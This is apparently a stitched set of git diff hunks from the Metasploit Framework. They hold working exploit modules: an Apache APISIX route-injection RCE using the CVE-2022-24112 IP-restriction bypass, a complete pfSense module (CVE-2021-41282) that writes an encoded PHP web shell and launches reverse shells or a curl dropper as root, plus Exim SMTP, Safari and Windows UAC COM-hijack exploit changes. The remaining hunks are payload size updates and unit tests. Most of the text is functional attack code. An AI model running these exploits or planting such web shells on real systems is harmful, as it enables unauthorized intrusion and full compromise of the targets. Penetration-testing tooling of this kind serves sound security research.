@payload_uri = "/#{Rex::Text.rand_text_alpha_lower(3)}/#{Rex::Text.rand_text_alpha_lower(6)}"
|
||||
filter_func_exec
|
||||
# trigger the payload
|
||||
apisix_request({
|
||||
'uri' => normalize_uri(@payload_uri),
|
||||
'method' => 'GET'
|
||||
})
|
||||
else
|
||||
add_route
|
||||
end
|
||||
handler
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @payload_uri
|
||||
|
||||
data = {
|
||||
'uri' => @payload_uri
|
||||
}
|
||||
pipeline = [
|
||||
{
|
||||
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
|
||||
'method' => 'DELETE',
|
||||
'body' => JSON.dump(data)
|
||||
}
|
||||
]
|
||||
vprint_status("Deleting route #{@payload_uri}")
|
||||
# remove the route
|
||||
res = batch_request(batch_body(pipeline))
|
||||
vprint_error('Unable to delete the route') unless res.code == 200
|
||||
end
|
||||
|
||||
def apisix_request(params = {})
|
||||
params.merge!({
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'X-API-KEY' => datastore['API_KEY'],
|
||||
'Accept' => '*/*',
|
||||
'Accept-Encoding' => 'gzip, deflate'
|
||||
}
|
||||
})
|
||||
|
||||
send_request_cgi(params)
|
||||
end
|
||||
|
||||
# Using batch request to bypass ip-restriction policies (CVE-2022-24112)
|
||||
def batch_request(data = nil)
|
||||
params = {
|
||||
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
|
||||
'method' => 'POST'
|
||||
}
|
||||
params.merge!({ 'data' => data }) if data
|
||||
|
||||
apisix_request(params)
|
||||
end
|
||||
|
||||
def batch_body(pipeline = [])
|
||||
headers = {
|
||||
'X-Real-IP': datastore['ALLOWED_IP'].to_s,
|
||||
'X-API-KEY' => datastore['API_KEY'].to_s,
|
||||
'Content-Type' => 'application/json'
|
||||
}
|
||||
|
||||
{
|
||||
'headers' => headers,
|
||||
'timeout' => 1500,
|
||||
'pipeline' => pipeline
|
||||
}.to_json
|
||||
end
|
||||
|
||||
def base_data
|
||||
{
|
||||
'uri' => Rex::Text.rand_text_alpha_lower(6),
|
||||
'upstream' => {
|
||||
'type' => 'roundrobin',
|
||||
'nodes' => { Faker::Internet.domain_name.to_s => 1 }
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
def add_route
|
||||
# This method use the script parameter to execute the payload
|
||||
stub = "os.execute('PAYLOAD');".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })
|
||||
# binding.pry
|
||||
data = base_data.merge({
|
||||
'script' => stub
|
||||
})
|
||||
uri = normalize_uri(target_uri.path, '/admin/routes')
|
||||
if batch_request_enabled?
|
||||
pipeline = [
|
||||
{
|
||||
'method' => 'POST',
|
||||
'path' => uri,
|
||||
'body' => data
|
||||
}
|
||||
]
|
||||
batch_request(batch_body(pipeline))
|
||||
else
|
||||
params = {
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'data' => JSON.dump(data)
|
||||
}
|
||||
apisix_request(params)
|
||||
end
|
||||
end
|
||||
|
||||
def filter_func_exec
|
||||
# This method use the filter_func parameter to execute the payload
|
||||
stub = "function(vars) os.execute('PAYLOAD'); return true end".gsub('PAYLOAD', payload.raw.to_s.gsub('\'') { '\\\"' })
|
||||
|
||||
data = base_data.merge({
|
||||
'uri' => @payload_uri,
|
||||
'name' => Rex::Text.rand_text_alpha_lower(6),
|
||||
'filter_func' => stub
|
||||
})
|
||||
if batch_request_enabled?
|
||||
pipeline = [
|
||||
{
|
||||
'path' => normalize_uri(target_uri.path, '/admin/routes/index'),
|
||||
'method' => 'PUT',
|
||||
'body' => JSON.dump(data)
|
||||
}
|
||||
]
|
||||
# add the route
|
||||
res = batch_request(batch_body(pipeline))
|
||||
vprint_error('Unable to create route') unless res.code == 200
|
||||
else
|
||||
params = {
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/routes/index'),
|
||||
'data' => JSON.dump(data)
|
||||
}
|
||||
apisix_request(params)
|
||||
end
|
||||
end
|
||||
|
||||
def direct_access?
|
||||
res = apisix_request({
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/routes'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
return false if [401, 403].include?(res.code) || res.body.match?(/'ip-restriction'/)
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def batch_request_enabled?
|
||||
res = apisix_request({
|
||||
'uri' => normalize_uri(target_uri.path, '/batch-requests'),
|
||||
'method' => 'POST'
|
||||
})
|
||||
|
||||
return false if res.code == 404
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HttpServer::BrowserExploit
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -42,6 +42,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
['CVE', '2020-9856'],
|
||||
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
|
||||
],
|
||||
'Notes' => {
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => [ IOC_IN_LOGS ],
|
||||
'Stability' => [CRASH_SAFE]
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
|
||||
'Targets' => [
|
||||
@@ -52,9 +57,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'DisclosureDate' => '2020-03-18'
|
||||
)
|
||||
)
|
||||
register_advanced_options([
|
||||
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit javascript', false]),
|
||||
])
|
||||
end
|
||||
|
||||
def exploit_js
|
||||
@@ -464,12 +466,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||
print_status("[*] #{request.body}")
|
||||
send_response(cli, '')
|
||||
return
|
||||
end
|
||||
|
||||
user_agent = request['User-Agent']
|
||||
print_status("Request #{request.uri} from #{user_agent}")
|
||||
if request.uri.ends_with? '.pdf'
|
||||
@@ -522,20 +518,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
#{exploit_js}
|
||||
JS
|
||||
|
||||
if datastore['DEBUG_EXPLOIT']
|
||||
debugjs = %^
|
||||
print = function(arg) {
|
||||
var request = new XMLHttpRequest();
|
||||
request.open("POST", "/print", false);
|
||||
request.send("" + arg);
|
||||
};
|
||||
^
|
||||
jscript = "#{debugjs}#{jscript}"
|
||||
else
|
||||
jscript.gsub!(%r{//.*$}, '') # strip comments
|
||||
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||
end
|
||||
|
||||
jscript = add_debug_print_js(jscript)
|
||||
pdfpath = datastore['URIPATH'] || get_resource
|
||||
pdfpath += '/' unless pdfpath.end_with? '/'
|
||||
pdfpath += "#{Rex::Text.rand_text_alpha(4..8)}.pdf"
|
||||
|
||||
@@ -0,0 +1,227 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::FileDropper
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'pfSense Diag Routes Web Shell Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file creation vulnerability in the pfSense
|
||||
HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
|
||||
and can be exploited by an authenticated user if they have the
|
||||
"WebCfg - Diagnostics: Routing tables" privilege.
|
||||
|
||||
This module uses the vulnerability to create a web shell and execute payloads
|
||||
with root privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
|
||||
'jbaines-r7' # metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2021-41282'],
|
||||
['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
|
||||
],
|
||||
'DisclosureDate' => '2022-02-23',
|
||||
'Platform' => ['unix', 'bsd'],
|
||||
'Arch' => [ARCH_CMD, ARCH_X64],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix Command',
|
||||
{
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Type' => :unix_cmd,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_openssl'
|
||||
},
|
||||
'Payload' => {
|
||||
'Append' => ' & disown'
|
||||
}
|
||||
}
|
||||
],
|
||||
[
|
||||
'BSD Dropper',
|
||||
{
|
||||
'Platform' => 'bsd',
|
||||
'Arch' => [ARCH_X64],
|
||||
'Type' => :bsd_dropper,
|
||||
'CmdStagerFlavor' => [ 'curl' ],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options [
|
||||
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
|
||||
OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
|
||||
OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
|
||||
]
|
||||
|
||||
@webshell_uri = '/'
|
||||
@webshell_path = '/usr/local/www/'
|
||||
end
|
||||
|
||||
# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
|
||||
# pfsense permissions can be so locked down that we have to try direct exploitation
|
||||
# in order to determine vulnerability. A user can even be restricted from the
|
||||
# dashboard (where other pfsense modules extract the version).
|
||||
def check
|
||||
# Grab a CSRF token so that we can log in
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
|
||||
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
|
||||
return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
|
||||
return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
|
||||
|
||||
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||
return CheckCode::Unknown('Could not find CSRF token') unless csrf
|
||||
|
||||
# send the log in attempt
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'__csrf_magic' => csrf,
|
||||
'usernamefld' => datastore['USERNAME'],
|
||||
'passwordfld' => datastore['PASSWORD'],
|
||||
'login' => ''
|
||||
}
|
||||
)
|
||||
|
||||
return CheckCode::Detected('No response to log in attempt.') unless res
|
||||
return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
|
||||
|
||||
# save the auth cookie for later user
|
||||
@auth_cookies = res.get_cookies
|
||||
|
||||
# attempt the exploit. Upload a random file to /usr/local/www/ with random contents
|
||||
filename = Rex::Text.rand_text_alpha(4..12)
|
||||
contents = Rex::Text.rand_text_alpha(16..32)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
|
||||
'cookie' => @auth_cookies,
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'isAjax' => '1',
|
||||
'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
|
||||
}
|
||||
})
|
||||
|
||||
return CheckCode::Safe('No response to upload attempt.') unless res
|
||||
return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
|
||||
|
||||
# Validate the exploit was successful by requesting the uploaded file
|
||||
res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
|
||||
return CheckCode::Safe('No response to exploit validation check.') unless res
|
||||
return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
|
||||
|
||||
register_file_for_cleanup("#{@webshell_path}#{filename}")
|
||||
CheckCode::Vulnerable()
|
||||
end
|
||||
|
||||
# Using the path traversal, upload a php webshell to the remote target
|
||||
def drop_webshell
|
||||
webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
|
||||
print_status("Uploading webshell to #{webshell_location}")
|
||||
|
||||
# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
|
||||
php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
|
||||
'cookie' => @auth_cookies,
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'isAjax' => '1',
|
||||
'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Disconnected, 'Connection failed') unless res
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
|
||||
|
||||
# Test the web shell installed by echoing a random string and ensure it appears in the res.body
|
||||
print_status('Testing if web shell installation was successful')
|
||||
rand_data = Rex::Text.rand_text_alphanumeric(16..32)
|
||||
res = execute_via_webshell("echo #{rand_data}")
|
||||
fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
|
||||
print_good("Web shell installed at #{webshell_location}")
|
||||
|
||||
# This is a great place to leave a web shell for persistence since it doesn't require auth
|
||||
# to touch it. By default, we'll clean this up but the attacker has to option to leave it
|
||||
if datastore['DELETE_WEBSHELL']
|
||||
register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
|
||||
end
|
||||
end
|
||||
|
||||
# Executes commands via the uploaded webshell
|
||||
def execute_via_webshell(cmd)
|
||||
if target['Type'] == :bsd_dropper
|
||||
# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
|
||||
# way to force the payload to background itself (and thus allow the HTTP response to
|
||||
# to return). So we hack it in ourselves. This identifies the ending file cleanup
|
||||
# which should be right after executing the payload.
|
||||
cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
|
||||
'vars_get' => {
|
||||
'cmd' => cmd
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Disconnected, 'Connection failed') unless res
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
|
||||
res
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
execute_via_webshell(cmd)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# create a randomish web shell name if the user doesn't specify one
|
||||
@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
|
||||
|
||||
drop_webshell
|
||||
|
||||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
||||
case target['Type']
|
||||
when :unix_cmd
|
||||
execute_command(payload.encoded)
|
||||
when :bsd_dropper
|
||||
execute_cmdstager
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
fail_with(Failure::Unknown, "Warning: This version of Exim is not exploitable")
|
||||
end
|
||||
|
||||
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
|
||||
ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n")
|
||||
ehlo_resp.each_line do |line|
|
||||
print_status("EHLO: #{line.strip}")
|
||||
end
|
||||
@@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
from = datastore['MAILFROM']
|
||||
to = datastore['MAILTO']
|
||||
|
||||
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
|
||||
resp = smtp_send_recv("MAIL FROM: #{from}\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "MAIL: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
@@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_status(msg)
|
||||
end
|
||||
|
||||
resp = raw_send_recv("RCPT TO: #{to}\r\n")
|
||||
resp = smtp_send_recv("RCPT TO: #{to}\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "RCPT: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '250'
|
||||
@@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
print_status(msg)
|
||||
end
|
||||
|
||||
resp = raw_send_recv("DATA\r\n")
|
||||
resp = smtp_send_recv("DATA\r\n")
|
||||
resp ||= 'no response'
|
||||
msg = "DATA: #{resp.strip}"
|
||||
if not resp or resp[0,3] != '354'
|
||||
@@ -251,21 +251,21 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
sock.put body
|
||||
|
||||
print_status("Ending first message.")
|
||||
buf = raw_send_recv("\r\n.\r\n")
|
||||
buf = smtp_send_recv("\r\n.\r\n")
|
||||
# Should be: "552 Message size exceeds maximum permitted\r\n"
|
||||
print_status("Result: #{buf.inspect}") if buf
|
||||
|
||||
second_result = ""
|
||||
|
||||
print_status("Sending second message ...")
|
||||
buf = raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
|
||||
buf = smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
|
||||
# Should be: "sh-x.x$ " !!
|
||||
if buf
|
||||
print_status("MAIL result: #{buf.inspect}")
|
||||
second_result << buf
|
||||
end
|
||||
|
||||
buf = raw_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
|
||||
buf = smtp_send_recv("RCPT TO: #{datastore['MAILTO']}\r\n")
|
||||
# Should be: "sh: RCPT: command not found\n"
|
||||
if buf
|
||||
print_status("RCPT result: #{buf.inspect}")
|
||||
@@ -296,7 +296,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
if resp !~ /Summary of my perl/
|
||||
print_status("Should have a shell now, sending payload...")
|
||||
buf = raw_send_recv("\n" + payload.encoded + "\n\n")
|
||||
buf = smtp_send_recv("\n" + payload.encoded + "\n\n")
|
||||
if buf
|
||||
if buf =~ /554 SMTP synchronization error/
|
||||
print_error("This target may be patched: #{buf.strip}")
|
||||
|
||||
@@ -6,13 +6,14 @@
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Post::Windows::Priv
|
||||
include Post::Windows::Registry
|
||||
include Post::Windows::Runas
|
||||
include Exploit::FileDropper
|
||||
|
||||
CLSID_PATH = "HKCU\\Software\\Classes\\CLSID"
|
||||
DEFAULT_VAL_NAME = '' # This maps to "(Default)"
|
||||
CLSID_PATH = 'HKCU\\Software\\Classes\\CLSID'.freeze
|
||||
DEFAULT_VAL_NAME = ''.freeze # This maps to "(Default)"
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
@@ -51,6 +52,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
['URL', 'https://github.com/FuzzySecurity/Defcon25/Defcon25_UAC-0day-All-Day_v1.2.pdf']
|
||||
],
|
||||
'DisclosureDate' => '1900-01-01',
|
||||
'Notes' => {
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'Stability' => [ CRASH_SAFE ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
@@ -63,11 +69,26 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows (7|8|10|2008|2012|2016)/ && is_uac_enabled?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
vprint_status("System OS Detected: #{sysinfo['OS']}")
|
||||
# return CheckCode::Safe('UAC is not enabled') unless is_uac_enabled?
|
||||
if sysinfo['OS'] =~ /Windows (7|8|2008|2012)/
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
if sysinfo['OS'] =~ /Windows (10|2016)/
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num_arr = sysinfo_value.split('Build')
|
||||
return CheckCode::Safe('Unable to determine build Number') if build_num_arr.length < 2
|
||||
|
||||
build_num = build_num_arr[1].to_i
|
||||
vprint_status("Detected build number: #{build_num}")
|
||||
if build_num < 18362
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
@@ -100,7 +121,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
return
|
||||
end
|
||||
|
||||
payload = generate_payload_dll({ :dll_exitprocess => true })
|
||||
payload = generate_payload_dll({ dll_exitprocess: true })
|
||||
commspec = expand_path('%COMSPEC%')
|
||||
dll_name = expand_path("%TEMP%\\#{rand_text_alpha(8)}.dll")
|
||||
hijack = hijack_com(registry_view, dll_name)
|
||||
@@ -115,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
write_file(dll_name, payload)
|
||||
register_file_for_cleanup(dll_name)
|
||||
|
||||
print_status("Executing high integrity process ...")
|
||||
print_status("Executing high integrity process #{expand_path(hijack[:cmd_path])}")
|
||||
args = "/c #{expand_path(hijack[:cmd_path])}"
|
||||
args << " #{hijack[:cmd_args]}" if hijack[:cmd_args]
|
||||
|
||||
@@ -124,11 +145,11 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
client.sys.process.execute(commspec, args, { 'Hidden' => true })
|
||||
|
||||
# Wait a copule of seconds to give the payload a chance to fire before cleaning up
|
||||
Rex::sleep(5)
|
||||
Rex.sleep(5)
|
||||
|
||||
handler(client)
|
||||
ensure
|
||||
print_status("Cleaning up registry ...")
|
||||
print_status('Cleaning up registry; this can take some time...')
|
||||
registry_deletekey(hijack[:root_key], registry_view)
|
||||
end
|
||||
end
|
||||
@@ -187,10 +208,6 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||
end
|
||||
|
||||
unless is_in_admin_group?
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
@@ -199,12 +216,10 @@ class MetasploitModule < Msf::Exploit::Local
|
||||
if admin_group.nil?
|
||||
print_error('Either whoami is not there or failed to execute')
|
||||
print_error('Continuing under assumption you already checked...')
|
||||
elsif admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
if admin_group
|
||||
print_good('Part of Administrators group! Continuing...')
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||
end
|
||||
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 115833
|
||||
CachedSize = 116377
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 115825
|
||||
CachedSize = 116369
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 115825
|
||||
CachedSize = 116369
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 115733
|
||||
CachedSize = 116277
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
||||
@@ -217,6 +217,6 @@ class MetasploitModule < Msf::Post
|
||||
#-------------------------------------------------------------------------------
|
||||
def create_payload_from_file(exec)
|
||||
print_status("Reading Payload from file #{exec}")
|
||||
::IO.read(exec)
|
||||
File.binread(exec)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
RSpec.describe Msf::Exploit::Remote::SMTPDeliver do
|
||||
|
||||
context "#smtp_send_recv" do
|
||||
subject(:instance) {
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod
|
||||
}
|
||||
|
||||
|
||||
let (:socket) {
|
||||
double(Rex::Socket::Tcp)
|
||||
}
|
||||
let (:cmd) {
|
||||
"EHLO"
|
||||
}
|
||||
let(:ehlo_resp1) {
|
||||
"250-ip-10-140-50-23.us-west-1.compute.internal\r\n250-XXXA\r250-PIPELINING\r\n250-AUTH CRAM-MD5 LOGIN PLAIN\r\n"
|
||||
}
|
||||
let(:ehlo_resp2) {
|
||||
"250-SIZE 512000\r\n250-VRFY\r\n250-ETRN\r\n250-ENHANCEDSTATUSCODES\r\n250-8BITMIME\r\n250-XXXXXXXB\r\n250-XXXC\r\n"
|
||||
}
|
||||
let(:ehlo_resp3) {
|
||||
"250 DSN"
|
||||
}
|
||||
let(:ehlo_resp4) {
|
||||
"\r\n"
|
||||
}
|
||||
|
||||
before {
|
||||
allow(instance).to receive(:vprint_status)
|
||||
allow(socket).to receive(:put)
|
||||
allow(socket).to receive(:get_once).and_return(ehlo_resp1, ehlo_resp2, ehlo_resp3, ehlo_resp4)
|
||||
}
|
||||
|
||||
it "should read the socket for continuation messages" do
|
||||
response = instance.smtp_send_recv(cmd, socket)
|
||||
expect(response).to end_with(ehlo_resp3 + ehlo_resp4)
|
||||
end
|
||||
|
||||
context "when a single response occurs" do
|
||||
let(:ehlo_resp1) {
|
||||
"250 DSN\r\n"
|
||||
}
|
||||
|
||||
before {
|
||||
allow(socket).to receive(:get_once).and_return(ehlo_resp1)
|
||||
}
|
||||
|
||||
|
||||
it "passes" do
|
||||
response = instance.smtp_send_recv(cmd, socket)
|
||||
expect(response).to end_with(ehlo_resp1)
|
||||
end
|
||||
end
|
||||
|
||||
context "when the server response is terse" do
|
||||
let(:ehlo_resp3) {
|
||||
"250"
|
||||
}
|
||||
|
||||
it "should support a final line with no space or extra data" do
|
||||
response = instance.smtp_send_recv(cmd, socket)
|
||||
expect(response).to end_with(ehlo_resp3 + ehlo_resp4)
|
||||
end
|
||||
end
|
||||
|
||||
context "when incomplete response is received" do
|
||||
# a nil from `get_once` simulates a Timeout expired
|
||||
let(:ehlo_resp4){
|
||||
nil
|
||||
}
|
||||
|
||||
it "should raise error when the response is incomplete" do
|
||||
expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError
|
||||
end
|
||||
end
|
||||
|
||||
context "when excess data response is received" do
|
||||
# a nil from `get_once` simulates a Timeout expired
|
||||
let(:ehlo_resp3){
|
||||
"250 DSN\r\n253 additional unexpected data"
|
||||
}
|
||||
let(:ehlo_resp4){
|
||||
nil
|
||||
}
|
||||
|
||||
it "should raise error when the response is incomplete" do
|
||||
expect {instance.smtp_send_recv(cmd, socket)}.to raise_error RuntimeError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -45,6 +45,46 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
|
||||
expect(tlv).to respond_to :from_r
|
||||
end
|
||||
|
||||
context "TLV with value mapped to a single type" do
|
||||
subject(:tlv) {
|
||||
Rex::Post::Meterpreter::Tlv.new(
|
||||
Rex::Post::Meterpreter::TLV_TYPE_RESULT,
|
||||
0
|
||||
)
|
||||
}
|
||||
|
||||
it "should have a single type" do
|
||||
expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=RESULT meta=INT value=0>"
|
||||
end
|
||||
end
|
||||
|
||||
context "TLV with value mapped to multiple types" do
|
||||
subject(:tlv) {
|
||||
Rex::Post::Meterpreter::Tlv.new(
|
||||
151074, # Multiple TLV Types are defined as this value, as described here: https://github.com/rapid7/metasploit-framework/pull/16258#discussion_r817878469
|
||||
0
|
||||
)
|
||||
}
|
||||
|
||||
